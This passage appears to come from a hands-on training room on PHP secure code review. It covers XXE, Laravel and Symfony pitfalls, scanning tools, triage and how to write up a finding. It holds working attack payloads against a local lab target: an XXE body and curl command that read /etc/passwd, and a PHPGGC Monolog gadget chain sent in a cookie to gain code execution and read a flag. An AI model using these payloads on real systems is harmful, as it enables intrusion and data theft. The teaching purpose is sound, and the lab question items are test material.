The flaw here is the LIBXML_NOENT | LIBXML_DTDLOAD option, which tells libxml to load the document's document-type definition and substitute its entities. With that enabled, an attacker submits a body that defines an external entity pointing at a local file.

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<r>&x;</r>

When the parser expands &x;, it reads the file and places its contents into the document, which the application then returns. We confirm it on the /import route by sending that body.

curl -s "http://localhost:8080/import" -H "Content-Type: application/xml" --data-binary '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>'

As we can see, the contents of the file are reflected in the response, which confirms the parser resolved our external entity. It is worth knowing the current default, because it shapes the finding. Since libxml 2.9, external entity loading is disabled by default, so XXE in modern PHP requires the parser to have been explicitly configured to load entities, exactly as this code does with its libxml options. A reviewer therefore treats the presence of those options on a parser fed untrusted XML as the finding, and recommends removing them so the safe default applies. When the file contents are not returned to us directly, the same flaw becomes a blind one, exfiltrated to an attacker server, which we note here and which the SSRF defences above also bear on.

We now raise our altitude from these language-level sinks to the framework, where Laravel and Symfony both provide protections we must confirm are applied and offer escape hatches that quietly reintroduce the very flaws we have been finding.

?Answer the questions below

  1. In ImportController , which loadXML option enables the entity substitution that makes XXE possible?
Task 10

Framework-Aware Review: Laravel and Symfony

Frameworks change our review in two ways. They provide protections we have to confirm are actually applied, and they offer escape hatches that reintroduce the bugs they otherwise prevent. We see both patterns in Laravel and Symfony, the two dominant PHP frameworks, and we treat them together so the review transfers between them.

Access Control

The most common framework-specific gap we find is a missing access-control check. A framework gives a developer the means to enforce authentication and authorisation, but it cannot make them use it, so our review becomes a hunt for the places where it was forgotten.

In Laravel, authentication and authorisation are enforced by route middleware and policies. A route wrapped in the auth middleware requires a logged-in user, and a policy method gates an action on a specific permission. In Symfony, the same role is played by access_control rules in security.yaml and by voters. Our job in either framework is to find the routes and controller actions where the expected protection is missing. The target's route file shows the pattern clearly.

// routes/web.php
Route::middleware('auth')->group(function () {
    Route::get('/dashboard', [DashboardController::class, 'index']);
    Route::get('/reports/search', [ReportController::class, 'search']);
});

Route::get('/admin/users', [AdminController::class, 'users']);

As we can see, the dashboard and reporting routes sit inside the auth group and require a session, while the /admin/users route sits outside that group, so anyone can reach it, authenticated or not. The Symfony equivalent of this mistake is a controller action that no access_control rule happens to cover, with the same result.

SQL Injection Through the ORM

Both frameworks ship an object-relational mapper, a layer that lets us query the database through objects and methods rather than raw SQL. Eloquent in Laravel and Doctrine in Symfony parameterise their queries by default, which closes most SQL injection for us. However, both also provide raw-query escape hatches that interpolate whatever they are handed. In Laravel these are DB::raw, whereRaw, selectRaw, orderByRaw and the raw DB::select, which is the one the target uses in Task 3. In Doctrine, the equivalent is building a DQL or native-SQL string from input rather than using parameters. A value we trace into any of these is injectable exactly as in a hand-written query, so the ORM's default safety tells us nothing at all about a query that reaches for a raw helper.

Output and Templating

Template engines escape output by default in order to prevent cross-site scripting, which is the stored-XSS case from Task 6 seen at the framework level. Laravel's Blade escapes the {{ }} construct, and Symfony's Twig auto-escapes by default. Each of them also gives a developer a way to disable that escaping, which reopens the vulnerability. Blade's {!! !!} outputs a value without escaping it, and Twig's |raw filter does the same, so both are constructs a reviewer flags wherever a user-controlled value flows into them.

A related but distinct flaw arises when a template is built from user input, rather than merely receiving user input as a variable. Rendering a user-controlled template string, such as Twig's createTemplate applied to attacker data, is server-side template injection rather than XSS, and it can lead to code execution on the server.

Cross-Site Request Forgery

Both frameworks defend against cross-site request forgery, the flaw where a victim's browser is induced to make a state-changing request, by issuing a per-session token that a form must echo back. Laravel applies this through the VerifyCsrfToken middleware and the @csrf Blade directive, and Symfony through its form component and CSRF token functions. The review question is whether any state-changing route has been excused from that protection. In Laravel this shows up as a path listed in the $except array of VerifyCsrfToken, which a reviewer checks against the routes that actually change state.

Debug and Configuration as a Review Target

Framework debug modes become a finding when they are left enabled outside development. APP_DEBUG=true in Laravel and APP_ENV=dev in Symfony expose detailed error pages and profiling tools that leak internal detail. The secrets they can reveal, namely APP_KEY in Laravel and APP_SECRET in Symfony, underpin the framework's whole trust model.

Laravel's decrypt function calls unserialize on its result, and this is the trap where the assumption that an encrypted value is a trusted value becomes object injection the moment the key is known. An attacker who recovers APP_KEY can forge an encrypted payload that, when it is decrypted, deserialises into a malicious object. This exact class of issue is recorded as CVE-2018-15133 for older Laravel releases. The debug-mode error handler facade/ignition carries the unauthenticated remote-code-execution flaw CVE-2021-3129 in versions up to 2.5.1, which is the very version pinned in the target's composer.json back in Task 2.

Mass Assignment

An ORM that fills a model's attributes directly from request data can let an attacker set fields the developer never intended to expose. Laravel controls this with the $fillable and $guarded properties on a model, and an over-broad $fillable, or a $guarded that has been left empty, allows a request to set sensitive columns such as an is_admin flag. Symfony mitigates the same risk by binding requests to form types with an explicit field list. Here we check which attributes a model exposes against which attributes the application should ever allow a user to set.

Dependencies as First-Class Findings

A vulnerable dependency is a flaw whether or not our own code is wrong. composer audit checks the installed dependency tree against a public advisory database and has shipped with Composer since version 2.4. We run it in the project root.

Note: The command below will not work in the VM since it requires an internet connection. The output below is an illustration of the output.

composer audit

For the target, it reports the pinned Ignition package as vulnerable.

Found 1 security vulnerability advisory affecting 1 package:
+-------------------+----------------------------------------------------------+
| Package           | facade/ignition                                          |
| CVE               | CVE-2021-3129                                            |
| Title             | Unauthenticated RCE in Ignition before 2.5.2 with debug  |
| Affected versions | <2.5.2                                                    |
+-------------------+----------------------------------------------------------+

As we can see, the report names facade/ignition and the advisory CVE-2021-3129, and we record this as a finding in its own right, with the package, the version, and the advisory. The tooling that widens the search, the triage that keeps it honest, and the write-up that communicates a finding are next.

?Answer the questions below

  1. In the routes/web.php file, which route is reachable without authentication because it sits outside the auth middleware group?
  2. Which pinned package is vulnerable to CVE-2021-3129?
Task 11

Tooling, Triage, and Reporting

Manual tracing is the heart of the method, but it does not scale to a large codebase on its own. We use tooling to widen the search, triage to keep its output honest, and a disciplined write-up to turn what we find into something a developer can act on.

The PHP Review Toolchain

Each tool occupies a place in the workflow rather than replacing the others.

grep and ripgrep remain our fast baseline for locating sources and sinks, as in Task 3. Semgrep runs pattern and dataflow rules from a PHP and security ruleset and is the most accessible dedicated security scanner; it installs through Python's package manager or runs from a container, and we invoke it with a ruleset such as semgrep --config=p/php. Psalm offers a taint-analysis mode that tracks untrusted data from source to sink across the codebase, which we run with psalm --taint-analysis, and PHPStan covers the type-level issues that often hide bugs; both are free, fast, and added as development dependencies through Composer.

SonarQube Community Edition covers PHP security and now contains the analysis engine from the former RIPS product, following its acquisition. Progpilot is a dedicated open-source taint scanner whose sources, sinks and sanitisers we configure in YAML, and Exakat is a broad audit tool; we use both as a second opinion rather than as a primary scanner. composer audit checks the dependency tree against the advisory database, as we saw in Task 10.

When the repository has history, git log and git blame help us locate recently changed and therefore higher-risk code, and tell us who wrote a suspect line and when. Finally, PHPGGC, which stands for PHP Generic Gadget Chains, builds the object-injection payloads we use to confirm that a deserialisation finding is genuinely exploitable rather than theoretical. It is available from its repository and ships with a library of chains for common frameworks and packages, and we use it in the capstone.

Why Tool Output Must Be Triaged

One caveat applies to every scanner above. These tools model sanitisation functions poorly, so they over-report, flagging paths as live when a correct sanitiser has in fact neutralised them. Recent benchmarking of PHP static-analysis tools confirms that false positives driven by weak sanitiser modelling are the dominant failure mode. We therefore treat a scanner's output as a lead list to trace and confirm, never as a verdict to paste straight into a report. The two unserialize hits from Task 8 are the model for this, where one call is exploitable and the other is neutralised by ['allowed_classes' => false], and only reading the code tells the two apart.

Triage is how we turn leads into findings. We establish reachability by confirming that the sink is reachable from a genuine source on a real request, rather than from dead or unreachable code. We confirm exploitability by proving the bug works rather than asserting that it should. We assign a severity that reflects the real impact, considering both how easily the flaw is reached and what an attacker gains from it.

Writing a Finding Up

A finding is only useful if the reader can understand it, judge its importance, and fix it. A clear write-up has a consistent shape, and we give each finding the following.

  • A title that names the vulnerability class and its location, such as "SQL injection in the report search endpoint".
  • The location, as a file path and line number, and the route or entry point that reaches it.
  • The data-flow path, stated as the source, the sink, and the absence or inadequacy of sanitisation between them, which is exactly the trace we performed by hand.
  • A proof of concept, the concrete request or payload that demonstrates the flaw, so the reader can reproduce it.
  • The impact, describing what an attacker gains, which drives the severity rating.
  • The remediation, a specific and actionable fix rather than general advice, such as replacing a raw query with a parameterised one or adding ['allowed_classes' => false] to a deserialisation call.

A severity rating is more credible when it is justified rather than asserted. Many teams express this with a CVSS score, which captures factors such as the attack vector and the impact on confidentiality, integrity and availability in a single comparable number. Whatever scale is used, the rating should follow from the reachability and impact we established during triage, so that a reader can see why a given finding is rated as it is.

Finally, we put the whole method into a single pass against the target and follow it to the flag.

?Answer the questions below

  1. Which triage step confirms that a flagged sink is actually reachable from a genuine source on a real request?
Task 12

Putting It Together: A Full Review

Let us now run the whole method end-to-end against the target, in the same order as the earlier tasks. This pass ends at code execution.

Mapping the application in Task 2 told us it is Laravel 8 with debug enabled and a vulnerable Ignition. Reading the routes gave us the attack surface, and the tasks since then have read a planted flaw in every major class. Sink-hunting with ripgrep and Semgrep produces our worklist, and theunserialize search returns the two hits we triaged in Task 8.

rg -n "\bunserialize\s*\(" .
./Services/CacheReader.php
10:        $data = unserialize($blob, ['allowed_classes' => false]);

./Http/Middleware/LoadPreferences.php
12:            $prefs = unserialize($_COOKIE['prefs']);

As we can see, the search returns two hits, and we have already established that the call in CacheReader.php is a false positive because['allowed_classes' => false] instantiates no objects. The call inLoadPreferences.php is the true positive. Its source is the attacker-controlledprefs cookie, it places no restriction on which classes may be instantiated, and the middleware runs on requests to the site root, so it is reachable on a normal request.

// app/Http/Middleware/LoadPreferences.php  (true positive)
public function handle($request, Closure $next)
{
    if (isset($_COOKIE['prefs'])) {
        $prefs = unserialize($_COOKIE['prefs']);
        // preferences applied to the request
    }
    return $next($request);
}

To confirm exploitability rather than assert it, we build a gadget chain with PHPGGC. Listing the available chains shows us which packages the application loads that we can abuse, and the Monolog/RCE1 chain reaches command execution through the Monolog logging library that ships with Laravel.

phpggc -l | grep -i monolog

We generate the payload with the -u flag so it is URL-encoded. The encoding matters, because a serialised PHP string contains semicolons, and a semicolon separates one cookie from the next, so an unencoded payload would be cut short the moment the server parsed the cookie. PHP decodes the cookie value before it reachesunserialize, so the-u output is exactly what the sink receives.

Rather than copy a long encoded string by hand, we capture the payload in a shell variable and send it straight through in the same command, which removes any chance of mangling it in transit.

PAYLOAD=$(phpggc -u Monolog/RCE1 system 'id')
curl -s "http://localhost:8080/" -H "Cookie: prefs=$PAYLOAD" | grep uid

The middleware runs unserialize on theprefs cookie for every request to the site root, so this request triggers the chain and runsid. The output ofid is included in the response body, showing the web server's own user, which proves we have code execution rather than a theoretical finding.

With execution confirmed, we swap the command for one that reads the flag and send it the same way.

PAYLOAD=$(phpggc -u Monolog/RCE1 system 'cat /var/www/flag.txt')
curl -s "http://localhost:8080/" -H "Cookie: prefs=$PAYLOAD" | grep THM

The flag comes back in the response. Reaching it this way means we have identified the true-positive sink, ruled out the false positive, and turned the deserialisation flaw into code execution as the web user.

?Answer the questions below

  1. What is the flag from /var/www/flag.txt?
Task 13

Conclusion

We have built a method we can repeat on any PHP application. We map the codebase and its dependencies, catalogue the sources and the sinks, and trace the data between them, asking at each step whether the sanitiser on the path is the right one for the sink it reaches. Alongside that, we have read the language's own pitfalls and the framework escape hatches that put a bug back after the framework removed it. Every major flaw class a PHP reviewer meets has had its turn, and we have ended on the tooling that finds leads and the triage that tells a real finding from a false one.

Taint is what ties the method together. We read for the flow of untrusted data rather than scan for individual strings, because a function name on its own is never a bug. A path that carries attacker input into that function without an adequate sanitiser is.

For where to go next, the Insecure Deserialisation room takes the gadget-chain work from Task 12 considerably further, while the SQL Injection and OWASP Top 10 - 2025 rooms give us deeper practice with the vulnerability classes a reviewer hunts for. The exploitation-focused Web Frameworks series is the natural counterpart for proving framework findings out in depth, and the sibling Secure Code Review rooms for Python, Java and .NET will apply this same method to other languages as they are released.

?Answer the questions below

  1. I can now do Secure Code Review in PHP!